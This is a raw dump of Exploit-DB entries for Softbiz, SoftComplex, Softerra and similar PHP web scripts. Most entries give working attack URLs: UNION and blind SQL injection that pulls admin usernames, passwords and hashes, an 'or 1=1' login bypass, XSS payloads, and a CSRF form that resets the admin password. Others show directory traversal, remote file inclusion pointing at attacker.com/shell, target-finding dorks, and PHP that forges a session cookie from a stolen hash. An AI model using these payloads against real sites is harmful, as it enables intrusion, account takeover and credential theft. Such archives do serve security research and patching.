deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26613
Description: Softbiz Resource Repository Script - 'details_res.php?sbres_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15585/info

Softbiz Resource Repository Script is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/details_res.php?sbres_id=[SQL]
Exploit-DB #26615
Description: Softbiz Resource Repository Script - 'refer_friend.php?sbres_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15585/info
  
Softbiz Resource Repository Script is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/refer_friend.php?sbres_id=1[SQL]
Exploit-DB #26616
Description: Softbiz Resource Repository Script - 'report_link.php?sbres_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15585/info
   
Softbiz Resource Repository Script is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/report_link.php?sbres_id=1[SQL]
Exploit-DB #26614
Description: Softbiz Resource Repository Script - 'showcats.php?sbcat_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15585/info
 
Softbiz Resource Repository Script is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/showcats.php?sbcat_id=[SQL]
Exploit-DB #13986
Description: Softbiz Resource Repository Script - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: Sangteamtham

Exploit:
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$  Softbiz Resource repository script Blind SQL Vulnerability  (Normal version)            
$  Author : Sangteamtham                                                                    
$  Home  : Hcegroup.net & vnbrain.net                                                 
$  Download :http://www.softbizscripts.com/FAQ-script-features.php   
$                   					           
$******************************************************************************************
$
$ check version : /resource/details_res.php?sbres_id=[id number]+and substring(version(),1,1)=4 
$                        /resource/details_res.php?sbres_id=[id number]+and substring(version(),1,1)=5
$                        /resource/details_res.php?sbres_id=[idnumber]+and+(select+substring(concat(1,password_column),1,1)+from+admin_info_table+limit+0,1)=1/*  
$                       /resource/details_res.php?sbres_id=[idnumber]+and+(select+substring(concat(1,username_column),1,1)+from+admin_info_table+limit+0,1)=1/*
$  note: password_column,username_column,admin_info_table depend on the database installed
$***********************************************************
$ Demo: 
$ In the demo site : 
$ 
$ Exploit: 
$ http://server/resource/details_res.php?sbres_id=121%20and%20substring(@@version,1,1)=5
$ MySQL version: 5.0.81-community
$ User: softbiz_kuber@localhost
$ Dataabase: softbiz_resource
Exploit-DB #26582
Description: SoftBiz Web Hosting Directory Script 1.1 - 'browsecats.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-24
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15561/info
  
Softbiz Web Host Directory Script is prone to multiple SQL injection vulnerabilities. These issues occur because the application fails to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Version 1.1 and earlier are affected; other versions may also be affected. 

http://www.example.com/browsecats.php?cid=[sql]
Exploit-DB #26583
Description: SoftBiz Web Hosting Directory Script 1.1 - 'email.php?h_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-24
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15561/info
   
Softbiz Web Host Directory Script is prone to multiple SQL injection vulnerabilities. These issues occur because the application fails to properly sanitize user-supplied input before using it in an SQL query.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
   
Version 1.1 and earlier are affected; other versions may also be affected. 

http://www.example.com/email.php?&h_id=[sql]
Exploit-DB #26581
Description: SoftBiz Web Hosting Directory Script 1.1 - 'review.php?sbres_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-24
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15561/info
 
Softbiz Web Host Directory Script is prone to multiple SQL injection vulnerabilities. These issues occur because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Version 1.1 and earlier are affected; other versions may also be affected. 

http://www.example.com/review.php?sbres_id=[sql]
Exploit-DB #26580
Description: SoftBiz Web Hosting Directory Script 1.1 - 'search_result.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-24
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15561/info

Softbiz Web Host Directory Script is prone to multiple SQL injection vulnerabilities. These issues occur because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.1 and earlier are affected; other versions may also be affected. 

http://www.example.com/search_result.php?cid=[sql]
Exploit-DB #12438
Description: SoftBizScripts Dating Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-28
Author: 41.w4r10r

Exploit:
# Exploit Title: SoftBizScripts Dating Script SQL Injection Vunerability
# Date: 29-4-2010
# Author: 41.w4r10r
# Vendor Link : http://softbizscripts.com/
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :  inurl:"search_results.php?browse=1"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Harin,Jappy,Dark_Blue,sid3^3f3c7
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



Exploited Link :

http://example.com/search_results.php?browse=1'


example:

http://[site]/search_results.php?browse=-1+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,version(),6,7,8,9--




#41.w4r10r mailto:41.w4r10r@andhrahackers.com
Exploit-DB #28093
Description: SoftBizScripts Dating Script 1.0 - 'featured_photos.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-22
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/18605/info

Softbiz Dating Script is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/featured_photos.php?browse=1[SQL]
Exploit-DB #28095
Description: SoftBizScripts Dating Script 1.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-22
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/18605/info
  
Softbiz Dating Script is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
http://www.example.com/index.php?cid=1&#039;[SQL]
Exploit-DB #28096
Description: SoftBizScripts Dating Script 1.0 - 'news_desc.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-22
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/18605/info
   
Softbiz Dating Script is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
http://www.example.com/news_desc.php?id=1[SQL]
Exploit-DB #28094
Description: SoftBizScripts Dating Script 1.0 - 'products.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-22
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/18605/info
 
Softbiz Dating Script is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
http://www.example.com/products.php?cid=1[SQL]
Exploit-DB #12439
Description: SoftBizScripts Hosting Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-28
Author: 41.w4r10r

Exploit:
# Exploit Title: SoftBizScripts Hosting Script SQL Injection Vunerability
# Date: 29-4-2010
# Author: 41.w4r10r
# Vendor Link : http://softbizscripts.com/
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :  inurl:"browsecats.php?cid="
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Harin,Jappy,Dark_Blue,sid3^3f3c7
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



Exploited Link :

http://[site]m/browsecats.php?cid=2'

example :

http://[site]/browsecats.php?cid=2+union+select+1,version(),3,4--



#41.w4r10r mailto:41.w4r10r@andhrahackers.com
Exploit-DB #34181
Description: SoftComplex PHP Event Calendar 1.5 - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2010-06-22
Author: cp77fk4r

Exploit:
source: https://www.securityfocus.com/bid/41043/info

SoftComplex PHP Event Calendar is prone to multiple remote security vulnerabilities including cross-site scripting, HTML-injection, directory-traversal, and cross-site request-forgery issues.

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.

PHP Event Calendar 1.5 is vulnerable; other versions may also be affected.

http://www.example.com/[DIR]/cl_files/index.php (POST/Login name)
http://www.example.com/[DIR]/cl_files/index.php?page=a&name=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
http://www.example.com/[DIR]/cl_files/index.php?CLd=21&CLm=06&CLy=2010&name=[CALENDAR_NAME]&type=list&action=t&page=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
http://www.example.com/[DIR]/cl_files/index.php?CLd=21&CLm=06&CLy=2010&name=[CALENDAR_NAME]&type=&action=e&err=&#039;%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3C&#039;
http://www.example.com/[DIR]/cl_files/index.php?CLd=23&CLm=06&CLy=2010%22%3E%3Cscript%3Ealert(1)%3C/script%3E&name=[CALENDAR_NAME]&type=&action=e

http://www.example.com/[DIR]/cl_files/index.php?page=e
(Title; Body; Background color; Background image; Align;)

http://www.example.com/[DIR]/cl_files/index.php?page=a
Change "Admin" Password PoC:
<form name=user method=post action="http://www.example.com/[DIR]/cl_files/index.php?page=a&name=[CALENDAR_NAME]">
<input type="hidden" name="page" value="a">
<input type=hidden value="admin" name=l class=inpt>
<input type=hidden value="1234" name=p class=inpt>
<input type=hidden value="1234" name=p2 class=inpt>
</form>

http://www.example.com/[DIR]/cl_files/index.php
"Title:" \..\..\..\..\..\..\1.txt%00
Exploit-DB #7026
Description: SoftComplex PHP Image Gallery - 'ctg' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-06
Author: Hussin X

Exploit:
SoftComplex PHP Image Gallery ( ctg ) Remote SQL Injection Velnerability
___________________________________

Author:  Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

MaiL :   darkangeL_G85@Yahoo.CoM
___________________________________

script    : http://www.softcomplex.com/products/php_image_gallery/demo2/

_____

ExploiT & demo
_____________

http://www.softcomplex.com/products/php_image_gallery/demo2/index.php?ctg=39 and 1=0 UNioN seLecT 1,2,concat(login,0x3e,password),4,5,6,7,8+FROM+user&action=show




____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab | G4N0K
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-06]
Exploit-DB #43087
Description: SoftDatepro Dating Social Network 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: SoftDatepro Dating Social Network 1.3 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.softdatepro.com/
# Software Link: https://codecanyon.net/item/softdatepro-build-your-own-dating-social-network/3650044
# Demo: http://demo.softdatepro.com/
# Version: 1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15972
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/viewprofile.php?profid=[SQL]
# http://localhost/[PATH]/viewmessage.php?sender_id=[SQL]
# 
# -263'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+0x31,0x32,(/*!08888SElEct*/+ExpOrt_sEt(5,@:=0,(/*!08888sElEct*/+cOunt(*)/*!08888frOm*/(infOrmatiOn_schEma.cOlumns)whErE@:=ExpOrt_sEt(5,ExpOrt_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888cOlumn_namE*/,0xa3a,2)),@,2)),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136--+-
# 
# http://localhost/[PATH]/admin
# 
# Email: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
Exploit-DB #34015
Description: SoftDirec 1.05 - 'delete_confirm.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-19
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40269/info

SoftDirec is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SoftDirec 1.05 is vulnerable; other versions may also be affected.

http://www.example.com/softdirec/library/delete_confirm.php?delete=yes&id=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&return=souk%20naamane&type=hacked%20by&catdel=indoushka
Exploit-DB #28780
Description: Softerra PHP Developer Library 1.5.3 - 'Grid3.lib.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: k1tk4t

Exploit:
source: https://www.securityfocus.com/bid/20442/info

Softerra PHP Developer Library is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.5.3; previous versions are affected as well.

http://www.example.com/PHPLibrary-1.5.3/example/lib/grid3.lib.php?cfg_dir=http://www.example.com
Exploit-DB #2520
Description: Softerra PHP Developer Library 1.5.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-12
Author: MP

Exploit:
## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
#                                                               #
#           [ Softerra. PHP Developer Library ]                 #
#                                                                
# Class:     Remote File Include Vulnerability                  #
# Patch:     Unavailable                                        #
# Published  2006/10/12                                         #
# Remote:    Yes                                                
# Local:     No                            			#
# Type:      High                                               #
# Site:      http://www.softerra.com/products_php-library.htm   #
# Author:    MP
# Contact:   mp01010@yahoo.com                    		#
#                                				#
#################################################################

Exploit:

http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/registry.lib.php?lib_dir=http://attacker.com/shell?
http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/sqlcompose.lib.php?lib_dir=http://attacker.com/shell?
http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/sqlsearch.lib.php?lib_dir=http://attacker.com/shell?


Vuln Files:

registry.lib.php
sqlcompose.lib.php
sqlsearch.lib.php


Vuln Code:
#
../lib/registry.lib.php

<? ...
require_once ($lib_dir . "sqlstorage.class.php");
... ?>
##
../lib/sqlcompose.lib.php

<? ...
require_once ($lib_dir . "array.lib.php");
... ?>

##
../lib/sqlsearch.lib.php

<? ...
require_once ($lib_dir . "array.lib.php");
... ?>

# milw0rm.com [2006-10-12]
Exploit-DB #44981
Description: SoftExpert Excellence Suite 2.0 - 'cddocument' SQL Injection
Type: webapps
Platform: php
Date: 2018-07-05
Author: Seren PORSUK

Exploit:
# Exploit Title: SoftExpert Excellence Suite 2.0 - 'cddocument' SQL Injection
# Author: Seren PORSUK
# Date: 2018-06-28
# Type: webapps
# Platform: PHP
# CVE= N/A
# Vendor Homepage : https://www.softexpert.com/solucao/softexpert-excellence-suite/

# DETAILS
# A SQL injection vulnerability in the SoftExpert (SE) Excellence Suite 2.0
# allows remote authenticated users to perform SQL heuristics by pulling
# information from the database with the "cddocument" parameter  in the
# "Downloading Electronic Documents" section.

# Vulnerable Parameter Type : GET
# Vulnerable Parameter : cddocument

#Vulnerable URL : 
http://localhost/se/v75408/generic/gn_eletronicfile_view/1.1/view_eletronic_download.php?class_name=dc_eletronic_file&classwaybusinessrule=class.dc_eletronic_file.inc&action=4&cddocument=[SQLi]&saveas1&mainframe=1&cduser=6853

#SQLi Parameter : 2  AND 1=2
Exploit-DB #39189
Description: Softmatica SMART iPBX - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2014-05-19
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/67465/info

SMART iPBX is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/editarclave.php?accion=e&id=[SQL INJECTION]]&ld=1
Exploit-DB #17209
Description: SoftMP3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-24
Author: mArTi

Exploit:
# Exploit Title: SOFTMP3 source code SQL injection
# Date: 23/04/2011
# Author: mArTi
# Software Link: http://softmp3.org/
# Version: No others versions available...
# Tested on: Windows / Unix

/.................................../ Introduction /.................................../

SoftMP3 released a source code of its bittorent tracker when it died. This source code is vulnerable to a SQL injection.
Here's the PoC and the Fix

/.................................../ PoC /.................................../

-> SQL http://localhost/SOFTMP3/minbrowse.php?search=string' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,users.id,0x27,users.username,0x27,users.passhash,0x27,0x7e) FROM `database`.users where id=1 LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1"

-----> Then you can use this to connect as the user you want by the passhash you got and setting the following cookies :

uid=id
pass=encrypted passhash (see down)


---------> getting encrypted passhash to connect with the cookies
<?php
$test=md5($HTTP_SERVER_VARS["REMOTE_ADDR"]."passhash"."hejsan".$HTTP_SERVER_VARS["REMOTE_ADDR"]);
echo "pass cookie is $test"
?>

/.................................../ FIX /.................................../

Delete /minbrowse.php (useless).

BTW, if you want to protect the cookies, just change the cookie encryption in bittorent.php file (like the "hejsan" key or the order of terms in encryption)



-------------------------------------------------------- -------------------------------------------------------- -------------------------------------------------------- --------------------------------------------------------
Protect yourself against the security breaks in your security to protect your users and your site. If you want to contact me, you'll know where to find me.
-------------------------------------------------------- -------------------------------------------------------- -------------------------------------------------------- --------------------------------------------------------